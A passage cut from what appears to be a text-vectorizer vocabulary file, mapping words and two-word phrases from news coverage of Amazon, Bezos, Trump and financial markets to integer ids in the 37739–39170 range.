37739, "recognition systems": 37740, "origin takes": 37741, "jewish state": 37742, "weapons amazon": 37743, "convicts": 37744, "scottish football": 37745, "intrigues suggested": 37746, "courted": 37747, "company public": 37748, "person approaches": 37749, "promising partnership": 37750, "hold steady": 37751, "operating loss": 37752, "correct false": 37753, "riding date": 37754, "policy rate": 37755, "twitters": 37756, "mgnx sgn": 37757, "billion defence": 37758, "companies john": 37759, "greenpeace": 37760, "cognize": 37761, "committee pac": 37762, "waste unleashed": 37763, "joshua": 37764, "classroom closet": 37765, "reviewed usps": 37766, "horribly fallacious": 37767, "conflict later": 37768, "plaintiff": 37769, "pending overview": 37770, "tags society": 37771, "company trump": 37772, "dj admits": 37773, "delivery businesses": 37774, "poses direct": 37775, "push button": 37776, "delivers amazon": 37777, "affair broke": 37778, "staff spent": 37779, "redistricting case": 37780, "tough times": 37781, "border enterprise": 37782, "abundantly": 37783, "russia michael": 37784, "longhairs": 37785, "vc investment": 37786, "company virginia": 37787, "discredit newspaper": 37788, "messes": 37789, "117 506": 37790, "indigenous reserve": 37791, "candy spot": 37792, "prime sellers": 37793, "getting better": 37794, "close day": 37795, "taxes amazon": 37796, "death alongside": 37797, "firing underscores": 37798, "charlotte institution": 37799, "issuing hunting": 37800, "greensfelder hemker": 37801, "gms guidance": 37802, "smith notes": 37803, "breaking records": 37804, "mccauley": 37805, "lady liberty": 37806, "impact key": 37807, "night birthweek": 37808, "laura martin": 37809, "echo 2nd": 37810, "helped shape": 37811, "biennial": 37812, "instinctively sympathise": 37813, "sanchez hacked": 37814, "represents america": 37815, "fb workers": 37816, "growers multi": 37817, "amazon continue": 37818, "force makes": 37819, "chief ownership": 37820, "embracing capitalism": 37821, "extortion attempt": 37822, "political dynasty": 37823, "51st": 37824, "collective security": 37825, "reintegrate retirees": 37826, "complained repeatedly": 37827, "jeffbozo": 37828, "likewise runs": 37829, "businesses bigger": 37830, "represents silicon": 37831, "life cases": 37832, "individual wealth": 37833, "apple jobs": 37834, "affected include": 37835, "transporting groceries": 37836, "richest individual": 37837, "unpublished works": 37838, "potential acquisitions": 37839, "week news": 37840, "anusak": 37841, "political dimension": 37842, "queens headquarters": 37843, "hear whatcomes": 37844, "pecker previous": 37845, "reportedly suggested": 37846, "health shed": 37847, "scrutinizing amazon": 37848, "including tech": 37849, "rwdsu": 37850, "pecking": 37851, "excellent sheets": 37852, "short film": 37853, "walmart entry": 37854, "brought rebellion": 37855, "demanding hearings": 37856, "phi": 37857, "formed venture": 37858, "offer consumers": 37859, "dampen demand": 37860, "versus pricing": 37861, "zegers": 37862, "allows young": 37863, "grew alongside": 37864, "bezos tells": 37865, "new partner": 37866, "inserted": 37867, "ben shapiro": 37868, "billionaire relationship": 37869, "awkward clinically": 37870, "corp msft": 37871, "raunchy": 37872, "clothes child": 37873, "viii right": 37874, "says guggenheims": 37875, "editor monica": 37876, "residential building": 37877, "deal absolutely": 37878, "electronic": 37879, "commission danner": 37880, "initiatives leadership": 37881, "galloway added": 37882, "803": 37883, "retain control": 37884, "netflix beginning": 37885, "stores user": 37886, "enrich": 37887, "thought new": 37888, "designating cio": 37889, "law thankfully": 37890, "essential services": 37891, "ntnx": 37892, "proposal stating": 37893, "beat overall": 37894, "image jair": 37895, "concerned bezos": 37896, "local effects": 37897, "goals little": 37898, "packaging giant": 37899, "stifled": 37900, "insured deposits": 37901, "bud": 37902, "loosen": 37903, "philippine journalist": 37904, "convince new": 37905, "desired outcome": 37906, "patent portfolios": 37907, "burpp mafia": 37908, "group indicts": 37909, "swetnick": 37910, "innocent algorithmic": 37911, "world headquarters": 37912, "letting amazon": 37913, "improve working": 37914, "pedigree starting": 37915, "current exchange": 37916, "lam research": 37917, "crude rallied": 37918, "nyc commuter": 37919, "application services": 37920, "giant rusal": 37921, "reading numbers": 37922, "tax funding": 37923, "wikileaks supported": 37924, "positive relationship": 37925, "times responding": 37926, "cnnvideoapiloadcompletehandlers window": 37927, "term economic": 37928, "moneyweb original": 37929, "publicly stated": 37930, "major limitations": 37931, "red android": 37932, "income companies": 37933, "editions trump": 37934, "welcome push": 37935, "federal efforts": 37936, "second year": 37937, "messitte": 37938, "sewn": 37939, "equity management": 37940, "new series": 37941, "jabbar": 37942, "smaller acquisition": 37943, "asking respondents": 37944, "yes really": 37945, "face dilemmas": 37946, "revolutionized retail": 37947, "televised press": 37948, "2018 says": 37949, "built artifacts": 37950, "myth": 37951, "market juul": 37952, "boeing pushed": 37953, "morris international": 37954, "blast trump": 37955, "mortgage category": 37956, "america largest": 37957, "bezos stares": 37958, "location": 37959, "suppliers trump": 37960, "trump plays": 37961, "land rights": 37962, "beer stock": 37963, "stated critics": 37964, "grabs include": 37965, "similar pratfall": 37966, "100 gizmos": 37967, "algo": 37968, "dave kovic": 37969, "macron europe": 37970, "ordinary people": 37971, "payments track": 37972, "company palantir": 37973, "o4 function": 37974, "niki": 37975, "desk tackled": 37976, "fentanyl particularly": 37977, "consomm\u00e9": 37978, "deliver fresh": 37979, "finding safe": 37980, "bieber eating": 37981, "mission kind": 37982, "center workers": 37983, "4024 kingston": 37984, "winner spokesperson": 37985, "national attending": 37986, "member jimmy": 37987, "validation": 37988, "air worldwide": 37989, "increasing annual": 37990, "speech left": 37991, "chain researcher": 37992, "demanded answers": 37993, "know microsoft": 37994, "senate vote": 37995, "enquirer ended": 37996, "nickname presumably": 37997, "single people": 37998, "deregulatory economic": 37999, "just tech": 38000, "weep oracle": 38001, "etf closed": 38002, "city nearly": 38003, "car rentals": 38004, "shooting informal": 38005, "nyse aol": 38006, "intentionally misspelling": 38007, "activity wh": 38008, "bezos girlfriend": 38009, "right justin": 38010, "uk users": 38011, "area site": 38012, "news conference": 38013, "explore options": 38014, "frost _heatherfrost": 38015, "dependence program": 38016, "lobbying congress": 38017, "logistical support": 38018, "content download": 38019, "nj stephens": 38020, "continues bork": 38021, "know affected": 38022, "competitors products": 38023, "whales trapped": 38024, "tire": 38025, "apple leading": 38026, "manager roger": 38027, "additional instances": 38028, "customs service": 38029, "ambitious": 38030, "libertarian says": 38031, "z1 a4ee": 38032, "historical cases": 38033, "nvidiahttps": 38034, "mullaney argues": 38035, "lose credibility": 38036, "ti": 38037, "ip captured": 38038, "donor": 38039, "ngo stated": 38040, "lafayette louisiana": 38041, "spotify rob": 38042, "focus chat": 38043, "senator kevin": 38044, "short space": 38045, "create marketplaces": 38046, "amazon employee": 38047, "say make": 38048, "potentially inverting": 38049, "policies according": 38050, "270 seat": 38051, "herbicides geoengineering": 38052, "employee diversity": 38053, "dark halfway": 38054, "government face": 38055, "alexa terrifying": 38056, "inventions": 38057, "alexa user": 38058, "oil production": 38059, "spanish class": 38060, "sketch opened": 38061, "association aafa": 38062, "funds plus": 38063, "old suspect": 38064, "modern business": 38065, "dynamic economy": 38066, "carriers necessary": 38067, "athletic": 38068, "boss using": 38069, "paid zach": 38070, "fine herera": 38071, "conservative politicians": 38072, "company concludes": 38073, "mycio": 38074, "expanded podcasting": 38075, "carstensen": 38076, "allegations potentially": 38077, "seizes fake": 38078, "wilson founder": 38079, "connection isn": 38080, "sortorder authorhash": 38081, "uk employees": 38082, "wrote chukumba": 38083, "vandermey": 38084, "short time": 38085, "vineeta deepak": 38086, "outlooks": 38087, "sen mitt": 38088, "avoiding trump": 38089, "machine studying": 38090, "facebook mark": 38091, "doesn discriminate": 38092, "kamm": 38093, "insider flagship": 38094, "hollywood hills": 38095, "subtlety apparently": 38096, "developing wawx": 38097, "life horror": 38098, "epstein related": 38099, "latest issue": 38100, "electrical": 38101, "completed sites": 38102, "fbi investigations": 38103, "payout plan": 38104, "important carbon": 38105, "company knows": 38106, "jenkins": 38107, "savvy": 38108, "254": 38109, "harris interactive": 38110, "service united": 38111, "deliver emergency": 38112, "demarcations": 38113, "196000 jobs": 38114, "inviting": 38115, "cortez reacted": 38116, "core functions": 38117, "firm hired": 38118, "amazon curated": 38119, "dynasty": 38120, "talk radio": 38121, "apos pizza": 38122, "ambassador haley": 38123, "ebay facebook": 38124, "doors gabriel": 38125, "anchor amazon": 38126, "hand accounts": 38127, "new trends": 38128, "denies wrongdoing": 38129, "recently dogged": 38130, "2018 election": 38131, "mega agency": 38132, "avoid years": 38133, "500 stocks": 38134, "attendant": 38135, "loyal customers": 38136, "government declared": 38137, "laws comply": 38138, "cla": 38139, "underway battle": 38140, "weighs tax": 38141, "british diver": 38142, "versions": 38143, "pre written": 38144, "adriano espaillat": 38145, "obamas 2016": 38146, "levy gray": 38147, "signed memo": 38148, "agreement trump": 38149, "government auditors": 38150, "creating special": 38151, "later contradicted": 38152, "fedex cmo": 38153, "irs issues": 38154, "credit lines": 38155, "arts plunged": 38156, "low mail": 38157, "accusation previously": 38158, "bezos strives": 38159, "states democracy": 38160, "wasobstructing": 38161, "party cookbook": 38162, "families mary": 38163, "pursued expanding": 38164, "allen hemberger": 38165, "subsections money": 38166, "publisher reportedly": 38167, "melissa mathison": 38168, "privileges": 38169, "outstanding tickets": 38170, "point criminal": 38171, "articleelem jquery": 38172, "upward pressure": 38173, "fiercely": 38174, "globalization": 38175, "expansion hugh": 38176, "100vw": 38177, "content partnership": 38178, "room furniture": 38179, "including jackie": 38180, "agency rates": 38181, "sun hats": 38182, "investment law": 38183, "included preschool": 38184, "smooth ride": 38185, "extra level": 38186, "mgongloff1 bloomberg": 38187, "causes everybody": 38188, "examining companies": 38189, "teachers raises": 38190, "dns overseer": 38191, "spikes": 38192, "kits drugs": 38193, "benefiting": 38194, "delayed earlier": 38195, "megasale sun": 38196, "compulsive focus": 38197, "plans donny": 38198, "christian": 38199, "cnn wire": 38200, "significance": 38201, "military service": 38202, "virginia slave": 38203, "key tell": 38204, "burke": 38205, "know 150": 38206, "eye duncan": 38207, "backlash vietnamese": 38208, "habits people": 38209, "strategy worldwide": 38210, "desantis": 38211, "writes doug": 38212, "hashmi sirajahashmi": 38213, "chinese buyers": 38214, "huge problems": 38215, "senate deputy": 38216, "descriptiontext airbnb": 38217, "used private": 38218, "owns": 38219, "reads vermont": 38220, "entrepreneurs start": 38221, "urging twitter": 38222, "beloved border": 38223, "carmaker": 38224, "content pioneer": 38225, "unlikely turnaround": 38226, "animal sounds": 38227, "amazon strategy": 38228, "major transportation": 38229, "technology mu": 38230, "banks obviously": 38231, "conservative events": 38232, "gubernatorial races": 38233, "second american": 38234, "method netflix": 38235, "schmuck": 38236, "know roger": 38237, "isstill": 38238, "difficult days": 38239, "amazon spat": 38240, "billkristol": 38241, "amazon feat": 38242, "convention planks": 38243, "atlanta": 38244, "month little": 38245, "membership fee": 38246, "vertically": 38247, "hacking britons": 38248, "businesses farmers": 38249, "impediments": 38250, "aws presents": 38251, "trump girds": 38252, "cloud certifications": 38253, "competing possible": 38254, "business actually": 38255, "deadline ___": 38256, "netflix american": 38257, "sport additionally": 38258, "american industry": 38259, "dw editors": 38260, "football dominant": 38261, "situation adding": 38262, "actively talking": 38263, "digital transformation": 38264, "multiply accused": 38265, "venom": 38266, "inspiration quote": 38267, "actually changed": 38268, "chadra levy": 38269, "wages barely": 38270, "enterprises socialist": 38271, "health issues": 38272, "biz watch": 38273, "despite wearing": 38274, "new antifraud": 38275, "effectively wage": 38276, "ic function": 38277, "michael malbin": 38278, "blackstone": 38279, "took moment": 38280, "hired investigator": 38281, "ba wasn": 38282, "taste buds": 38283, "woman suv": 38284, "angie coiro": 38285, "1960": 38286, "sounds weird": 38287, "hardship reporting": 38288, "president asserted": 38289, "manage outreach": 38290, "actually transform": 38291, "passed fix": 38292, "skewered": 38293, "historically low": 38294, "workers tony": 38295, "swamp unfortunately": 38296, "vibes surrounding": 38297, "ben lefebvre": 38298, "otcmkts eevvf": 38299, "frank house": 38300, "american council": 38301, "noble books": 38302, "based lenovo": 38303, "election wave": 38304, "decades realize": 38305, "county promised": 38306, "gaap operating": 38307, "time lows": 38308, "intentions": 38309, "abortion centers": 38310, "improve personalization": 38311, "em contagion": 38312, "government organisation": 38313, "000 positions": 38314, "app cozi": 38315, "professionals tell": 38316, "tsxv mcld": 38317, "people wearing": 38318, "keys transform": 38319, "andrew napolitano": 38320, "irish companies": 38321, "aws facial": 38322, "market bears": 38323, "person directly": 38324, "government power": 38325, "means owns": 38326, "business abroad": 38327, "yorkers actually": 38328, "enlarge amazon": 38329, "billmurphyjr": 38330, "radios": 38331, "calculates": 38332, "love fest": 38333, "government helps": 38334, "express global": 38335, "market intelligence": 38336, "pessimists": 38337, "refuted": 38338, "trademark cases": 38339, "swift passage": 38340, "volkswagen": 38341, "today community": 38342, "twisty": 38343, "twitter thegrtrecession": 38344, "stenhouse vice": 38345, "plagiarism spokesman": 38346, "msft wounds": 38347, "photos frida": 38348, "connecticut says": 38349, "thomas check": 38350, "publicity transfer": 38351, "bezos tremendous": 38352, "david cay": 38353, "larger battle": 38354, "charges usps": 38355, "effectively vouching": 38356, "amazon finished": 38357, "tm": 38358, "lowest close": 38359, "billionaire howard": 38360, "monica": 38361, "michael kelly": 38362, "dzubow": 38363, "calling maze": 38364, "waving daintily": 38365, "var t5": 38366, "canadian exposure": 38367, "boycottwalmart istandwithtrump": 38368, "japanese english": 38369, "tech accessories": 38370, "deal climate": 38371, "city manager": 38372, "westchester county": 38373, "apps designed": 38374, "declared amazon": 38375, "quince": 38376, "darrah": 38377, "2018 mid": 38378, "repress estimated": 38379, "assistant smarter": 38380, "longer confined": 38381, "chinese competitors": 38382, "filings jeff": 38383, "interlude": 38384, "remains fluid": 38385, "worksharing": 38386, "starr investigation": 38387, "victories": 38388, "expected net": 38389, "great obsession": 38390, "unless make": 38391, "retailers basically": 38392, "harm nys": 38393, "midweek": 38394, "julia carrie": 38395, "staff secretary": 38396, "rigged": 38397, "deforestation drivers": 38398, "week showed": 38399, "did skit": 38400, "great opportunity": 38401, "commercial opportunity": 38402, "journal falling": 38403, "mistake repeated": 38404, "widely speculated": 38405, "commercial internet": 38406, "making monthly": 38407, "chang 415": 38408, "leftovers jordi": 38409, "stelter brings": 38410, "told press": 38411, "match amazon": 38412, "makes extortion": 38413, "department released": 38414, "running post": 38415, "tariffs late": 38416, "terrace whitestone": 38417, "shout": 38418, "coders": 38419, "house denials": 38420, "access read": 38421, "photo tells": 38422, "naivet\u00e9": 38423, "media lowlifes": 38424, "hottest products": 38425, "mariah carey": 38426, "coppola": 38427, "companies named": 38428, "distorted trump": 38429, "individual american": 38430, "pressure analyst": 38431, "act impulsively": 38432, "innovating ways": 38433, "active measures": 38434, "spend time": 38435, "joins amazon": 38436, "possible violation": 38437, "involvement whatsoever": 38438, "takes overtly": 38439, "report helped": 38440, "gender equality": 38441, "paper acts": 38442, "account compromise": 38443, "6g technology": 38444, "leads order": 38445, "heard round": 38446, "easley photos": 38447, "cate blanchett": 38448, "pay safety": 38449, "series starts": 38450, "imazon correlates": 38451, "facebook opened": 38452, "travel photographer": 38453, "mussels examined": 38454, "election result": 38455, "quite policy": 38456, "discrimination significantly": 38457, "board nlrb": 38458, "lyin ted": 38459, "service kavanaugh": 38460, "9400": 38461, "frugal company": 38462, "sul tereza": 38463, "foreign dramas": 38464, "wynn18 jan": 38465, "214 point": 38466, "liability regarding": 38467, "new dow": 38468, "joining sheldon": 38469, "bezos flood": 38470, "correspondent charles": 38471, "sandick": 38472, "missile site": 38473, "ministers resigned": 38474, "snakes culp": 38475, "flat year": 38476, "prior years": 38477, "picture posts": 38478, "paying 250": 38479, "hurts people": 38480, "9781541673533 jpgbut": 38481, "flyer": 38482, "eye right": 38483, "historical exas": 38484, "ably": 38485, "objectives state": 38486, "sanders saying": 38487, "2013 tweets": 38488, "major global": 38489, "effectively makes": 38490, "naked photos": 38491, "signed": 38492, "public debate": 38493, "mention things": 38494, "doesin": 38495, "100 given": 38496, "passed law": 38497, "747 square": 38498, "local crime": 38499, "llc picked": 38500, "emerging week": 38501, "beverly": 38502, "judge judge": 38503, "countered": 38504, "p8 r4ee": 38505, "edelman trust": 38506, "guaranteed day": 38507, "reflects bezos": 38508, "lobbying additionally": 38509, "effects felt": 38510, "contributions view": 38511, "deals earlier": 38512, "journalists believe": 38513, "chiusano talking": 38514, "solar panel": 38515, "target smaller": 38516, "storm issued": 38517, "view photos": 38518, "right travels": 38519, "pyeongchang": 38520, "benefit indigenous": 38521, "monney black": 38522, "hasn overtaken": 38523, "primary race": 38524, "shelter isn": 38525, "playing games": 38526, "transgender jenner": 38527, "seattle homeless": 38528, "excited": 38529, "largest known": 38530, "thailand long": 38531, "incredibly cumbersome": 38532, "immigration statuses": 38533, "know maybe": 38534, "historically voted": 38535, "quickly trump": 38536, "miscellaneous": 38537, "pinky": 38538, "paid": 38539, "amazon moser": 38540, "listened counted": 38541, "identify customers": 38542, "shipping deadlines": 38543, "imperfectly noting": 38544, "cover events": 38545, "2018 wynne": 38546, "essentially flat": 38547, "koons": 38548, "world stage": 38549, "online trump": 38550, "zebra kids": 38551, "newseum": 38552, "social scene": 38553, "particularly sydney": 38554, "everytime": 38555, "era methods": 38556, "idea briefly": 38557, "runaway": 38558, "money follow": 38559, "unions representing": 38560, "228 points": 38561, "chipmaker": 38562, "tweet describing": 38563, "allies arebasically": 38564, "tariffs later": 38565, "queens amounted": 38566, "mentioned amazon": 38567, "presidential candidate": 38568, "million airplane": 38569, "worth maximum": 38570, "refreshing honesty": 38571, "travel geography": 38572, "owns shares": 38573, "divorce yemen": 38574, "jon brodkin": 38575, "janata": 38576, "states cities": 38577, "sells genetically": 38578, "barbie": 38579, "tax payers": 38580, "trumpmoments411": 38581, "bragged": 38582, "bernard condon": 38583, "facing blowback": 38584, "prison bezos": 38585, "meltdown rosenstein": 38586, "insider bi": 38587, "including terrorist": 38588, "gaetz does": 38589, "initial rate": 38590, "unnerving": 38591, "amazing guy": 38592, "0938et": 38593, "yields 2018": 38594, "68bil": 38595, "falcon": 38596, "evidence variety": 38597, "term glove": 38598, "reported fred": 38599, "dock facility": 38600, "decorations network": 38601, "2870 dollar": 38602, "involves michael": 38603, "hacking skills": 38604, "mass produced": 38605, "diffuses": 38606, "received joint": 38607, "haircut": 38608, "imposes tax": 38609, "showtime escape": 38610, "just concerned": 38611, "tv": 38612, "struggle mtp": 38613, "geekwire photo": 38614, "coffee netflix": 38615, "group free": 38616, "maduro huddled": 38617, "official definition": 38618, "legislative ratification": 38619, "trump casually": 38620, "ibm microsoft": 38621, "blazer": 38622, "tse": 38623, "younger days": 38624, "shelves recycling": 38625, "attacks blackburn": 38626, "linux": 38627, "benefits environmental": 38628, "threats saying": 38629, "barely change": 38630, "constantly provide": 38631, "heffernan": 38632, "aclu downloaded": 38633, "katie porter": 38634, "midsize": 38635, "berating mexico": 38636, "sam isn": 38637, "corporate social": 38638, "years jeff": 38639, "cover technology": 38640, "apple nondominant": 38641, "central heating": 38642, "stolen goods": 38643, "senatepro tempore": 38644, "raised prices": 38645, "fact checkers": 38646, "specifically targets": 38647, "state lieutenant": 38648, "scale diversion": 38649, "cloud data": 38650, "doesn seek": 38651, "important crime": 38652, "republique": 38653, "skip": 38654, "include service": 38655, "600 soybean": 38656, "fq2 weighs": 38657, "analytics showed": 38658, "socialite": 38659, "food energy": 38660, "day 2019": 38661, "public remarks": 38662, "irish subsidiary": 38663, "accessories company": 38664, "reports boycott": 38665, "truly committed": 38666, "mail rising": 38667, "pleasecontinue mattingly": 38668, "term interests": 38669, "cory gardner": 38670, "latest development": 38671, "month later": 38672, "delivery providers": 38673, "challenges unscathed": 38674, "fd vea": 38675, "quickly shows": 38676, "needed": 38677, "signs": 38678, "mortgage trends": 38679, "bezos alluded": 38680, "geographic dislocation": 38681, "attacked big": 38682, "science backed": 38683, "national embarrassment": 38684, "earbuds investorplace": 38685, "time retaining": 38686, "arrested jussie": 38687, "republican column": 38688, "study obtained": 38689, "blackmail stepping": 38690, "agribusiness sector": 38691, "bid declines": 38692, "barely growing": 38693, "profit colleges": 38694, "reports fiscal": 38695, "christians don": 38696, "women party": 38697, "barre pennsylvania": 38698, "mail sent": 38699, "business area": 38700, "chiefs following": 38701, "swine": 38702, "nipsey hussle": 38703, "hasn tweeted": 38704, "hosts justice": 38705, "contended": 38706, "bush cohen": 38707, "bull head": 38708, "months possible": 38709, "readily agrees": 38710, "obscurity": 38711, "engineers gate": 38712, "describes blackmail": 38713, "copays drugmakers": 38714, "bregman": 38715, "americans alphabet": 38716, "cities incentives": 38717, "policy deal": 38718, "taken pretty": 38719, "did segment": 38720, "trump meeting": 38721, "consumer good": 38722, "nbc welcomes": 38723, "heads plunkett": 38724, "krikorian executive": 38725, "complicated engagement": 38726, "nepal": 38727, "recent comments": 38728, "heeded": 38729, "sienna": 38730, "repatriation": 38731, "revealed collaboration": 38732, "commerce briefing": 38733, "amazon seemingly": 38734, "buy sell": 38735, "inhuman": 38736, "having really": 38737, "_blank": 38738, "daniel donnell": 38739, "foods sells": 38740, "quadruple whammy": 38741, "new base": 38742, "receipts venom": 38743, "bearish position": 38744, "gizmo": 38745, "tells ktrh": 38746, "says veteran": 38747, "bad case": 38748, "financial stocks": 38749, "amicable divorce": 38750, "lawyer dowd": 38751, "baseless accusations": 38752, "policy analyst": 38753, "man working": 38754, "heather tom": 38755, "country welcomed": 38756, "ire jeff": 38757, "customary rules": 38758, "claiming sex": 38759, "seltzer read": 38760, "epa concluded": 38761, "usps balance": 38762, "reuters venezuela": 38763, "functionality": 38764, "away counterfeit": 38765, "push net": 38766, "facing generational": 38767, "delete facebook": 38768, "dowdupont dwdp": 38769, "going aboutthis": 38770, "shopping holidays": 38771, "quarter 2017": 38772, "home automation": 38773, "yahoo entertainment": 38774, "wintour nyt": 38775, "large screen": 38776, "country launched": 38777, "ranking gop": 38778, "darr beiser": 38779, "issa rae": 38780, "markets owing": 38781, "validates virginia": 38782, "harming large": 38783, "rate payment": 38784, "knavs": 38785, "include acting": 38786, "higher housing": 38787, "railroad station": 38788, "ian bassin": 38789, "rejects great": 38790, "valuable lesson": 38791, "trump opposed": 38792, "government leaders": 38793, "century america": 38794, "635 billion": 38795, "conservatives till": 38796, "earnings reports": 38797, "stuttered": 38798, "input": 38799, "build jointly": 38800, "city wrote": 38801, "unmentioned": 38802, "containing new": 38803, "minutes lesley": 38804, "cuomo soon": 38805, "judge dismissed": 38806, "figuring": 38807, "kudlow comments": 38808, "falsehoods according": 38809, "minded policy": 38810, "local representatives": 38811, "lawsuit tyger": 38812, "local newspaper": 38813, "fringe political": 38814, "mortar guy": 38815, "eduardo sim\u00f5es": 38816, "damage media": 38817, "laxity": 38818, "regence": 38819, "individual changes": 38820, "amazon learned": 38821, "powers ice": 38822, "story apple": 38823, "bumpy ride": 38824, "cronies want": 38825, "facebook spokesperson": 38826, "mocked divorce": 38827, "bezos pushing": 38828, "distinguishing": 38829, "orchestral music": 38830, "bankrupting": 38831, "mega corporation": 38832, "college dedicated": 38833, "renowned yale": 38834, "security analysts": 38835, "current plan": 38836, "usernames passwords": 38837, "erode": 38838, "collapsed deal": 38839, "earned mnuchin": 38840, "bezos mentioned": 38841, "drones marijuana": 38842, "liedtke": 38843, "given special": 38844, "ben wikler": 38845, "founder tucker": 38846, "dietl": 38847, "president view": 38848, "cohen according": 38849, "states keywords": 38850, "live gop": 38851, "political data": 38852, "isabel per\u00f3n": 38853, "cavalier": 38854, "latertoday republicans": 38855, "simply following": 38856, "david nather": 38857, "course food": 38858, "questions finding": 38859, "nyse stt": 38860, "doesn sell": 38861, "hallmark": 38862, "sea asean": 38863, "johnson architect": 38864, "amazon surrender": 38865, "change thousands": 38866, "cbs midterms": 38867, "5billion": 38868, "session started": 38869, "appeared punitive": 38870, "oil exports": 38871, "massive list": 38872, "woodward forthcoming": 38873, "indicating strong": 38874, "shld retreat": 38875, "undue burden": 38876, "theater chain": 38877, "recommended lifting": 38878, "close shanghai": 38879, "guidance facebook": 38880, "nonetheless shares": 38881, "mystery writers": 38882, "insider lees": 38883, "uk workers": 38884, "rocky start": 38885, "needling": 38886, "tariffs democrat": 38887, "year usa": 38888, "dumped aggressively": 38889, "border new": 38890, "785 shares": 38891, "cookie stores": 38892, "blasio boasted": 38893, "type varicella": 38894, "district race": 38895, "day adds": 38896, "today najarian": 38897, "trump lambasted": 38898, "antique laws": 38899, "strong defense": 38900, "336x336": 38901, "waterfront amazon": 38902, "quality permanent": 38903, "status lot": 38904, "comparison walmart": 38905, "bezos suggested": 38906, "tsx": 38907, "new worries": 38908, "indicate company": 38909, "price know": 38910, "planned trip": 38911, "just conversation": 38912, "occurred addabbo": 38913, "gdpr backlash": 38914, "media placed": 38915, "public pressure": 38916, "belga agence": 38917, "live announcement": 38918, "gig amazon": 38919, "grounds trump": 38920, "joking": 38921, "hirsute design": 38922, "president enemies": 38923, "affect cloud": 38924, "watershed": 38925, "placed stories": 38926, "years government": 38927, "rubber stamped": 38928, "breathtaking scale": 38929, "kilometers 865": 38930, "bookings attributed": 38931, "amzn worry": 38932, "artist just": 38933, "water": 38934, "destroy profit": 38935, "journey fraught": 38936, "catalog sainsbury": 38937, "desperation": 38938, "journalists including": 38939, "activists amazon": 38940, "model safety": 38941, "shoot trump": 38942, "hey did": 38943, "insider drone": 38944, "report anchor": 38945, "just irresponsible": 38946, "microchips": 38947, "pundit managed": 38948, "campaign tony": 38949, "oxford comma": 38950, "adds information": 38951, "asylum seeker": 38952, "reported decrease": 38953, "economy ivanka": 38954, "cont": 38955, "region social": 38956, "aws contracts": 38957, "political calculation": 38958, "agus": 38959, "rent increases": 38960, "google head": 38961, "told disney": 38962, "deal hit": 38963, "zupan": 38964, "2017 president": 38965, "making amazonian": 38966, "media institute": 38967, "gw americans": 38968, "sue buzzfeed": 38969, "act": 38970, "continually seizes": 38971, "competition watchdogs": 38972, "olivia": 38973, "kocieniewski details": 38974, "modest performance": 38975, "eventually customer": 38976, "subjecting employees": 38977, "underlings sleep": 38978, "legal brief": 38979, "brooke": 38980, "fiercely funny": 38981, "attempted": 38982, "cap mngmt": 38983, "month signed": 38984, "just lobbyist": 38985, "950": 38986, "thing bear": 38987, "simplify drug": 38988, "held dozens": 38989, "border commerce": 38990, "called islam": 38991, "sides lot": 38992, "large tag": 38993, "cringy": 38994, "longer survive": 38995, "theft trump": 38996, "street firm": 38997, "john santucci": 38998, "washington wizards": 38999, "talking thousands": 39000, "close friendships": 39001, "outright": 39002, "exclusive gig": 39003, "retailers isn": 39004, "secon": 39005, "business gumball": 39006, "party firm": 39007, "real question": 39008, "hothouse atmosphere": 39009, "unjust": 39010, "vapor technology": 39011, "capacity allowed": 39012, "brew": 39013, "ami obtained": 39014, "security clearance": 39015, "year gold": 39016, "postal network": 39017, "transportation infrastructure": 39018, "sent company": 39019, "friedman famously": 39020, "red mess": 39021, "chip stocks": 39022, "unites": 39023, "emergency declaration": 39024, "make good": 39025, "cooper flick": 39026, "hurt bezos": 39027, "make way": 39028, "guy used": 39029, "requires manual": 39030, "major booksellers": 39031, "240 points": 39032, "encounter nyt": 39033, "plans include": 39034, "deputy defense": 39035, "apart governor": 39036, "bezos unless": 39037, "scheiber reports": 39038, "764": 39039, "big big": 39040, "fully recover": 39041, "74m": 39042, "berkman": 39043, "knuckle": 39044, "tangible community": 39045, "new crisis": 39046, "vallone paid": 39047, "ventures analyst": 39048, "justified": 39049, "dennis": 39050, "scandal continues": 39051, "currently deploy": 39052, "valuable products": 39053, "brand business": 39054, "crisis laurence": 39055, "opportunity based": 39056, "utah coming": 39057, "mcgill mmcgill": 39058, "australian perspective": 39059, "streaming minecraft": 39060, "inspect property": 39061, "simply chasing": 39062, "watch pastor": 39063, "green shoots": 39064, "regional phone": 39065, "reading list": 39066, "watchers recommend": 39067, "capital letters": 39068, "scoop included": 39069, "walmarts": 39070, "panel focused": 39071, "plunging faster": 39072, "marne american": 39073, "offense": 39074, "lived tenure": 39075, "argued amazon": 39076, "dangers dealing": 39077, "year experts": 39078, "advisor larry": 39079, "korea latest": 39080, "fagna laughter": 39081, "trump chairman": 39082, "facebook success": 39083, "public transportation": 39084, "seller central": 39085, "fcc voted": 39086, "amazon jobs": 39087, "1721et copyright": 39088, "mail shipped": 39089, "money open": 39090, "inadequate conservative": 39091, "representatives appear": 39092, "badgered": 39093, "watching related": 39094, "tougher": 39095, "group public": 39096, "federal deposit": 39097, "tower involving": 39098, "dismaying microsoft": 39099, "effect closing": 39100, "court amazon": 39101, "directly marketed": 39102, "extending": 39103, "policy says": 39104, "current acquisition": 39105, "shop owners": 39106, "airline trade": 39107, "dress flared": 39108, "requisite hawaiian": 39109, "offers way": 39110, "comprehensive coverage": 39111, "regional flights": 39112, "stars running": 39113, "costs authors": 39114, "raised significantly": 39115, "kombucha": 39116, "ballad": 39117, "phony don": 39118, "states flag": 39119, "analysis showing": 39120, "sally quigley": 39121, "graceful": 39122, "competitors thanks": 39123, "prank": 39124, "customers bezos": 39125, "black splc": 39126, "lobbying issues": 39127, "amazon conservation": 39128, "wapo employees": 39129, "large 169": 39130, "summit cohen": 39131, "leveraging external": 39132, "scandals surrounding": 39133, "central role": 39134, "quickly bezos": 39135, "cuomo advisor": 39136, "winning popular": 39137, "openly exposed": 39138, "signed billion": 39139, "disciplined communicator": 39140, "performing stocks": 39141, "volume mission": 39142, "peteralexander kwelkernbc": 39143, "presumptive hq2": 39144, "prompted rare": 39145, "little choice": 39146, "natt garun": 39147, "writings claiming": 39148, "kelsey": 39149, "brookings": 39150, "timothynoah1 driving": 39151, "vendor": 39152, "nebulous world": 39153, "shteyngart": 39154, "hydralight": 39155, "users practice": 39156, "genius crispy": 39157, "mean dan": 39158, "military place": 39159, "filed notice": 39160, "axios organizations": 39161, "bans cancer": 39162, "attractive despite": 39163, "critters": 39164, "everyday doctor": 39165, "state agents": 39166, "microsoft ceo": 39167, "server719392 videos": 39168, "amazon employees": 39169, "house pirro": 39170, "rickjnewman": 